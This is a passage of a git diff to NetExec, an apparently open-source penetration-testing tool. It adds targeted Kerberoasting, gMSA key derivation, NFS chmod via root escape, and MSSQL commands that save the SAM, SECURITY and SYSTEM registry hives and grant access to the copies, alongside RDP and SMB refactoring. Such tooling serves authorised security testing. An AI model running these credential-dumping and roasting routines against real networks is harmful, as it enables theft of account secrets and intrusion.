else:
self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}")
+ finally:
+ if spn_added:
+ try:
+ self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]})
+ self.logger.debug(f"SPN removed for {user['sAMAccountName']}")
+ except Exception as cleanup_error:
+ self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}")
+
+ def roast_no_preauth(self):
+ usernames = parse_argument(self.args.no_preauth_targets)
+
+ skipped = []
+ hashes = []
+
+ for spn in usernames:
+ base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
+
+ if base_name.lower() == "krbtgt" or base_name.endswith("$"):
+ skipped.append(base_name)
+ continue
+
+ if not self.username:
+ self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
+ return
+ hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
+ if hashline:
+ hashes.append(hashline)
+
+ if skipped:
+ self.logger.display(f"Skipping account: {', '.join(skipped)}")
+ if hashes:
+ self.logger.display(f"Total of records returned {len(hashes)}")
+ else:
+ self.logger.highlight("No entries found!")
+
+ for line in hashes:
+ self.logger.highlight(line)
+ with open(self.args.kerberoasting, "a+") as f:
+ f.write(line + "\n")
def query(self):
"""
@@ -1308,16 +1330,26 @@ class ldap(connection):
principal_with_read = resp_parsed[0]["sAMAccountName"]
# Get the password
- passwd = ""
+ rc4 = ""
+ aes128 = aes256 = ""
if "msDS-ManagedPassword" in acc:
- blob = MSDS_MANAGEDPASSWORD_BLOB()
- blob.fromString(acc["msDS-ManagedPassword"])
- currentPassword = blob["CurrentPassword"][:-2]
- ntlm_hash = MD4.new()
- ntlm_hash.update(currentPassword)
- passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
- self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
- return True
+ rc4, aes128, aes256 = self.gmsa_compute_secrets(acc["msDS-ManagedPassword"], acc["sAMAccountName"])
+ self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {rc4:<36} PrincipalsAllowedToReadPassword: {principal_with_read}")
+ if aes128 and aes256:
+ self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes128-cts-hmac-sha1-96: {aes128}")
+ self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} aes256-cts-hmac-sha1-96: {aes256}")
+
+ def gmsa_compute_secrets(self, password_data: bytes, sAMAccountName: str):
+ """Generate RC4, AES128, and AES256 keys for a GMSA account based on the provided password data and username."""
+ blob = MSDS_MANAGEDPASSWORD_BLOB()
+ blob.fromString(password_data)
+ current_password = hexlify(blob["CurrentPassword"].rstrip(b"\x00")).decode()
+
+ keys = generate_kerberos_keys(hex_pass=current_password, user=sAMAccountName, domain=self.targetDomain)
+ rc4 = hexlify(keys[constants.EncryptionTypes.rc4_hmac.value].contents).decode()
+ aes128 = hexlify(keys[constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value].contents).decode()
+ aes256 = hexlify(keys[constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value].contents).decode()
+ return rc4, aes128, aes256
def decipher_gmsa_name(self, domain_name=None, account_name=None):
# https://aadinternals.com/post/gmsa/
@@ -1334,60 +1366,50 @@ class ldap(connection):
return str_hash
def gmsa_convert_id(self):
- if self.args.gmsa_convert_id:
- if len(self.args.gmsa_convert_id) != 64:
- self.logger.fail("Length of the gmsa id not correct :'(")
- else:
- # getting the gmsa account
- search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
- gmsa_accounts = self.ldap_connection.search(
- searchBase=self.baseDN,
- searchFilter=search_filter,
- attributes=["sAMAccountName"],
- sizeLimit=0,
- )
- gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
- if gmsa_accounts_parsed:
- self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
-
- for acc in gmsa_accounts_parsed:
- if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id:
- self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
- break
+ if len(self.args.gmsa_convert_id) != 64:
+ self.logger.fail("Length of the gmsa id not correct :'(")
else:
- self.logger.fail("No string provided :'(")
+ # getting the gmsa account
+ gmsa_accounts = self.search(
+ searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
+ attributes=["sAMAccountName"],
+ )
+ gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
+ self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}")
+
+ for acc in gmsa_accounts_parsed:
+ if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == self.args.gmsa_convert_id:
+ self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}")
+ break
def gmsa_decrypt_lsa(self):
- if self.args.gmsa_decrypt_lsa:
- if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
- gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
- # getting the gmsa account
- search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
- gmsa_accounts = self.ldap_connection.search(
- searchBase=self.baseDN,
- searchFilter=search_filter,
- attributes=["sAMAccountName"],
- sizeLimit=0,
- )
- gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
- if gmsa_accounts_parsed:
- self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
+ if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa:
+ gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":")
+ # getting the gmsa account
+ gmsa_accounts = self.search(
+ searchFilter="(objectClass=msDS-GroupManagedServiceAccount)",
+ attributes=["sAMAccountName"],
+ )
+ gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts)
+ sAMAccountName = ""
+ if gmsa_accounts_parsed:
+ self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
- for acc in gmsa_accounts_parsed:
- if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id:
- gmsa_id = acc["sAMAccountName"]
- break
- # convert to ntlm
- data = bytes.fromhex(gmsa_pass)
- blob = MSDS_MANAGEDPASSWORD_BLOB()
- blob.fromString(data)
- currentPassword = blob["CurrentPassword"][:-2]
- ntlm_hash = MD4.new()
- ntlm_hash.update(currentPassword)
- passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
- self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
+ for acc in gmsa_accounts_parsed:
+ if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"].rstrip("$")) == gmsa_id:
+ sAMAccountName = acc["sAMAccountName"]
+ break
+ # Compute the password and keys
+ data = bytes.fromhex(gmsa_pass)
+ rc4, aes128, aes256 = self.gmsa_compute_secrets(data, sAMAccountName)
+ self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {rc4}")
+ if not sAMAccountName:
+ self.logger.fail("Could not find the GMSA account associated with the provided ID.")
+ else:
+ self.logger.highlight(f"Account: {sAMAccountName:<20} aes128-cts-hmac-sha1-96: {aes128}")
+ self.logger.highlight(f"Account: {sAMAccountName:<20} aes256-cts-hmac-sha1-96: {aes256}")
else:
- self.logger.fail("No string provided :'(")
+ self.logger.fail("The provided string does not appear to be a valid GMSA LSA secret.")
def pso(self):
"""
diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py
index b98c216d..aaecc734 100644
--- a/nxc/protocols/ldap/proto_args.py
+++ b/nxc/protocols/ldap/proto_args.py
@@ -14,10 +14,12 @@ def proto_args(parser, parents):
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
kerberoasting_arg = egroup.add_argument("--kerberoasting", "--kerberoast", help="Output TGS ticket to crack with hashcat to file")
kerberoast_users_arg = egroup.add_argument("--kerberoast-account", nargs="+", dest="kerberoast_account", action=get_conditional_action(_StoreAction), make_required=[], help="Target specific accounts for kerberoasting (sAMAccountNames or file containing sAMAccountNames)")
- egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Targeted kerberoastable users")
+ targeted_kerberoast_arg = egroup.add_argument("--targeted-kerberoast", nargs="+", dest="targeted_kerberoast", action=get_conditional_action(_StoreAction), make_required=[], help="Adds temporary SPN to specified users, requests ST, then remove added SPN. Specify sAMAccountNames or file containing sAMAccountNames")
+ egroup.add_argument("--no-preauth-targets", nargs=1, dest="no_preauth_targets", help="Specify accounts that should be kerberoasted using an account without pre-authentication requirement.")
- # Make kerberoast-users require kerberoasting
+ # Make kerberoast-users and targeted-kerberoast require kerberoasting
kerberoast_users_arg.make_required = [kerberoasting_arg]
+ targeted_kerberoast_arg.make_required = [kerberoasting_arg]
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py
index 4fc40e98..b7edc248 100755
--- a/nxc/protocols/mssql.py
+++ b/nxc/protocols/mssql.py
@@ -554,10 +554,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
+ get_owner_command = f"icacls C:\\windows\\temp\\{sam_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="sam")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
+ exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
@@ -587,10 +589,12 @@ class mssql(connection):
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
+ get_owner_command = f"icacls C:\\windows\\temp\\{security_storename} /grant {self.username}:F && icacls C:\\windows\\temp\\{system_storename} /grant {self.username}:F"
output_filename = self.output_file_template.format(output_folder="lsa")
try:
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.execute(dump_command)
+ exec_method.execute(get_owner_command)
exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security")
exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system")
exec_method.execute(clean_command)
diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py
index 4a564ecf..2dc16ac5 100644
--- a/nxc/protocols/nfs.py
+++ b/nxc/protocols/nfs.py
@@ -130,18 +130,22 @@ class nfs(connection):
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
except Exception as e:
- self.logger.debug(f"Error checking NFS version: {self.host} {e}")
+ self.logger.fail(f"Error checking NFS version: {self.host} {e}")
# Connect to NFS
- nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
- self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
- self.nfs3.connect()
- # Check if root escape is possible
- if NFS_V3 in self.nfs_versions:
- self.root_escape = self.try_root_escape()
- else:
- self.logger.debug("NFSv3 not supported, skipping root escape check")
- self.nfs3.disconnect()
+ try:
+ nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
+ if nfs_port:
+ self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
+ self.nfs3.connect()
+ # Check if root escape is possible
+ if NFS_V3 in self.nfs_versions:
+ self.root_escape = self.try_root_escape()
+ else:
+ self.logger.debug("NFSv3 not supported, skipping root escape check")
+ self.nfs3.disconnect()
+ except Exception as e:
+ self.logger.fail(f"Failed to connect to NFS3 host: {e}")
def print_host_info(self):
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
@@ -526,6 +530,62 @@ class nfs(connection):
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
+ def chmod(self):
+ try:
+ # Connect to NFS
+ nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
+ self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
+ self.nfs3.connect()
+
+ # Mount the NFS share or get the root handle
+ if self.root_escape and not self.args.share:
+ mount_fh = self.escape_fh
+ elif not self.args.share:
+ self.logger.fail("No root escape possible, please specify a share")
+ return
+ else:
+ mnt_info = self.mount.mnt(self.args.share, self.auth)
+ if mnt_info["status"] != 0:
+ self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
+ return
+ mount_fh = mnt_info["mountinfo"]["fhandle"]
+
+ # Iterate over the path
+ curr_fh = mount_fh
+ privs = int(self.args.chmod[0], 8)
+ filepath = self.args.chmod[1]
+ file_path, file_name = os.path.split(filepath)
+
+ # If target dir is "" or "/" without filter we would get one item with [""]
+ for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
+ self.update_auth(curr_fh)
+ res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
+
+ # If the path does not exist, create it
+ if "resfail" in res and res["status"] == NFS3ERR_NOENT:
+ self.logger.fail(f"Directory '{sub_path}' does not exist on path '{file_path}/'")
+
+ curr_fh = res["resok"]["object"]["data"]
+
+ # Update the UID and GID from the directory
+ self.update_auth(curr_fh)
+
+ # Checking if file_name already exists on remote file path
+ lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
+
+ if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
+ self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
+ return
+
+ current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
+ res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
+ if "resfail" in res:
+ self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
+ else:
+ self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
+ except Exception as e:
+ self.logger.fail(f"Error occurred while processing path: {e}")
+
def get_root_handles(self, mount_fh):
"""
Get possible root handles to escape to the root filesystem
@@ -727,7 +787,10 @@ class nfs(connection):
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
- self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
+ try:
+ self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
+ except UnicodeDecodeError:
+ self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
def format_directory(self, raw_directory):
"""Convert the chained directory entries to a list of the entries"""
diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py
index 9ed89a74..0de9f76d 100644
--- a/nxc/protocols/nfs/proto_args.py
+++ b/nxc/protocols/nfs/proto_args.py
@@ -10,5 +10,6 @@ def proto_args(parser, parents):
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
+ dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file")
return parser
diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py
index a565ac68..fdbdd923 100644
--- a/nxc/protocols/rdp.py
+++ b/nxc/protocols/rdp.py
@@ -1,4 +1,5 @@
import asyncio
+import contextlib
from datetime import datetime
from os import getenv
from anyio import Path
@@ -108,7 +109,10 @@ class rdp(connection):
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
- self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
+ try:
+ self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
+ except Exception as e:
+ self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
@@ -124,7 +128,7 @@ class rdp(connection):
target=self.target,
credentials=self.auth,
)
- asyncio.run(self.connect_rdp())
+ asyncio.run(self.connect_rdp_with_cleanup())
except OSError as e:
if "Errno 104" not in str(e):
return False
@@ -188,10 +192,30 @@ class rdp(connection):
pass
async def connect_rdp(self):
+ """Connect to the RDP server. Does NOT clean up on exit.
+
+ Use this when the caller needs the connection alive after connecting
+ (screen, nla_screen, execute_shell). For sync callers that only need to
+ know whether authentication succeeded and want guaranteed cleanup, use
+ connect_rdp_with_cleanup() instead.
+ """
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
if err is not None:
raise err
+ async def terminate_conn(self):
+ """Terminate the RDP connection with a timeout so cleanup doesn't hang."""
+ if self.conn is not None:
+ with contextlib.suppress(Exception):
+ await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
+
+ async def connect_rdp_with_cleanup(self):
+ """Connect to the RDP server and always terminate the connection on exit"""
+ try:
+ await self.connect_rdp()
+ finally:
+ await self.terminate_conn()
+
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
try:
lmhash = ""
@@ -227,7 +251,7 @@ class rdp(connection):
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
kerberos_target = UniTarget(
- self.host,
+ self.kdcHost,
88,
UniProto.CLIENT_TCP,
timeout=self.args.rdp_timeout,
@@ -245,7 +269,7 @@ class rdp(connection):
stype=stype,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
- asyncio.run(self.connect_rdp())
+ asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(
@@ -301,7 +325,7 @@ class rdp(connection):
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
- asyncio.run(self.connect_rdp())
+ asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
@@ -335,7 +359,7 @@ class rdp(connection):
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
- asyncio.run(self.connect_rdp())
+ asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
@@ -420,7 +444,6 @@ class rdp(connection):
return None
self.logger.debug(f"Executing command: {payload_with_clip}")
- # Create a connection
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
@@ -525,13 +548,9 @@ class rdp(connection):
self.logger.fail(f"Command execution failed: {e!s}")
return None
finally:
- # Always clean up the connection
- if self.conn is not None:
- self.logger.debug("Terminating RDP connection")
- try:
- await self.conn.terminate()
- except Exception as e:
- self.logger.debug(f"Error terminating connection: {e!s}")
+ # clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
+ self.logger.debug("Terminating RDP connection")
+ await self.terminate_conn()
def execute(self, payload=None, shell_type="cmd"):
"""Execute a command via RDP"""
@@ -566,15 +585,17 @@ class rdp(connection):
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
- except Exception:
- return
- await asyncio.sleep(5)
- if self.conn is not None and self.conn.desktop_buffer_has_data is True:
- buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
- filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
- buffer.save(filename, "png")
- self.logger.highlight(f"Screenshot saved {filename}")
+ await asyncio.sleep(5)
+ if self.conn is not None and self.conn.desktop_buffer_has_data is True:
+ buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
+ filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
+ buffer.save(filename, "png")
+ self.logger.highlight(f"Screenshot saved {filename}")
+ except Exception as e:
+ self.logger.debug(f"Error taking screenshot: {e!s}")
+ finally:
+ await self.terminate_conn()
def screenshot(self):
asyncio.run(self.screen())
@@ -586,19 +607,22 @@ class rdp(connection):
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
-
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
- return
+ await self.terminate_conn()
+ continue
- await asyncio.sleep(int(self.args.screentime))
- if self.conn is not None and self.conn.desktop_buffer_has_data is True:
- buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
- filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
- buffer.save(filename, "png")
- self.logger.highlight(f"NLA Screenshot saved {filename}")
- return
+ try:
+ await asyncio.sleep(int(self.args.screentime))
+ if self.conn is not None and self.conn.desktop_buffer_has_data is True:
+ buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
+ filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
+ buffer.save(filename, "png")
+ self.logger.highlight(f"NLA Screenshot saved {filename}")
+ return
+ finally:
+ await self.terminate_conn()
def nla_screenshot(self):
if not self.nla:
diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py
index b5c87708..f44077e6 100755
--- a/nxc/protocols/smb.py
+++ b/nxc/protocols/smb.py
@@ -21,9 +21,10 @@ from impacket.examples.regsecrets import (
LSASecrets as RegSecretsLSASecrets
)
from impacket.nmb import NetBIOSError, NetBIOSTimeout
-from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst
+from impacket.dcerpc.v5 import lsat, lsad, scmr, rrp, srvs, wkst
+from impacket.dcerpc.v5.srvs import STYPE_DISKTREE, STYPE_MASK
from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
+from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.samr import SID_NAME_USE
@@ -35,7 +36,21 @@ from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
-from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL
+from impacket.smb3structs import (
+ FILE_ADD_FILE,
+ FILE_ADD_SUBDIRECTORY,
+ FILE_DIRECTORY_FILE,
+ FILE_OPEN,
+ FILE_SHARE_DELETE,
+ FILE_SHARE_READ,
+ FILE_SHARE_WRITE,
+ FILE_SYNCHRONOUS_IO_NONALERT,
+ GENERIC_WRITE,
+ SMB2_0_IOCTL_IS_FSCTL,
+ WRITE_DAC,
+ WRITE_OWNER,
+)
+
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors, check_guest_account
@@ -56,6 +71,7 @@ from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
+from nxc.helpers.rpc import NXCRPCConnection
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
from nxc.protocols.ldap.resolution import LDAPResolution
@@ -192,7 +208,14 @@ class smb(connection):
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
- self.hostname = self.conn.getServerName()
+ # Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
+ dns_hostname = self.conn.getServerDNSHostName().upper()
+ if dns_hostname and "." in dns_hostname:
+ self.hostname = dns_hostname.split(".")[0]
+ elif dns_hostname:
+ self.hostname = dns_hostname
+ else:
+ self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
@@ -649,27 +672,23 @@ class smb(connection):
if self.args.no_admin_check:
return
self.logger.debug(f"Checking if user is admin on {self.host}")
- rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
- dce = rpctransport.get_dce_rpc()
try:
- dce.connect()
+ dce = NXCRPCConnection(self).connect(r"\svcctl", scmr.MSRPC_UUID_SCMR)
except Exception:
self.admin_privs = False
- else:
- with contextlib.suppress(Exception):
- dce.bind(scmr.MSRPC_UUID_SCMR)
- try:
- # 0xF003F - SC_MANAGER_ALL_ACCESS
- # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
- scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
- scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
- self.logger.debug(f"User is admin on {self.host}!")
- self.admin_privs = True
- except scmr.DCERPCException:
- self.admin_privs = False
- except Exception as e:
- self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
- self.admin_privs = False
+ return
+ try:
+ # 0xF003F - SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
+ scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
+ self.logger.debug(f"User is admin on {self.host}!")
+ self.admin_privs = True
+ except scmr.DCERPCException:
+ self.admin_privs = False
+ except Exception as e:
+ self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
+ self.admin_privs = False
def gen_relay_list(self):
if self.server_os.lower().find("windows") != -1 and self.signing is False:
@@ -902,19 +921,10 @@ class smb(connection):
elif method == "atexec":
try:
exec_method = TSCH_EXEC(
- self.host if not self.kerberos else self.hostname + "." + self.domain,
- self.smb_share_name,
- self.username,
- self.password,
- self.domain,
- self.kerberos,
- self.aesKey,
- self.host,
- self.kdcHost,
- self.hash,
- self.logger,
- self.args.get_output_tries,
- self.args.share
+ connection=self,
+ logger=self.logger,
+ tries=self.args.get_output_tries,
+ share=self.args.share,
)
self.logger.info("Executed command via atexec")
break
@@ -925,21 +935,10 @@ class smb(connection):
elif method == "smbexec":
try:
exec_method = SMBEXEC(
- self.host if not self.kerberos else self.hostname + "." + self.domain,
- self.smb_share_name,
- self.conn,
- self.username,
- self.password,
- self.domain,
- self.kerberos,
- self.aesKey,
- self.host,
- self.kdcHost,
- self.hash,
- self.args.share,
- self.port,
- self.logger,
- self.args.get_output_tries
+ connection=self,
+ share=self.args.share,
+ logger=self.logger,
+ tries=self.args.get_output_tries,
)
self.logger.info("Executed command via smbexec")
break
@@ -1280,12 +1279,10 @@ class smb(connection):
self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.")
# Bind to the Remote Registry Pipe
- rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn)
+ rpc = NXCRPCConnection(self)
for binding_attempts in range(2, 0, -1):
- dce = rpctransport.get_dce_rpc()
try:
- dce.connect()
- dce.bind(rrp.MSRPC_UUID_RRP)
+ dce = rpc.connect(r"\winreg", rrp.MSRPC_UUID_RRP)
break
except SessionError as e:
self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}")
@@ -1339,11 +1336,8 @@ class smb(connection):
return
# Bind to the LSARPC Pipe for SID resolution
- rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn)
- dce = rpctransport.get_dce_rpc()
try:
- dce.connect()
- dce.bind(lsat.MSRPC_UUID_LSAT)
+ dce = NXCRPCConnection(self).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
except Exception as e:
self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}")
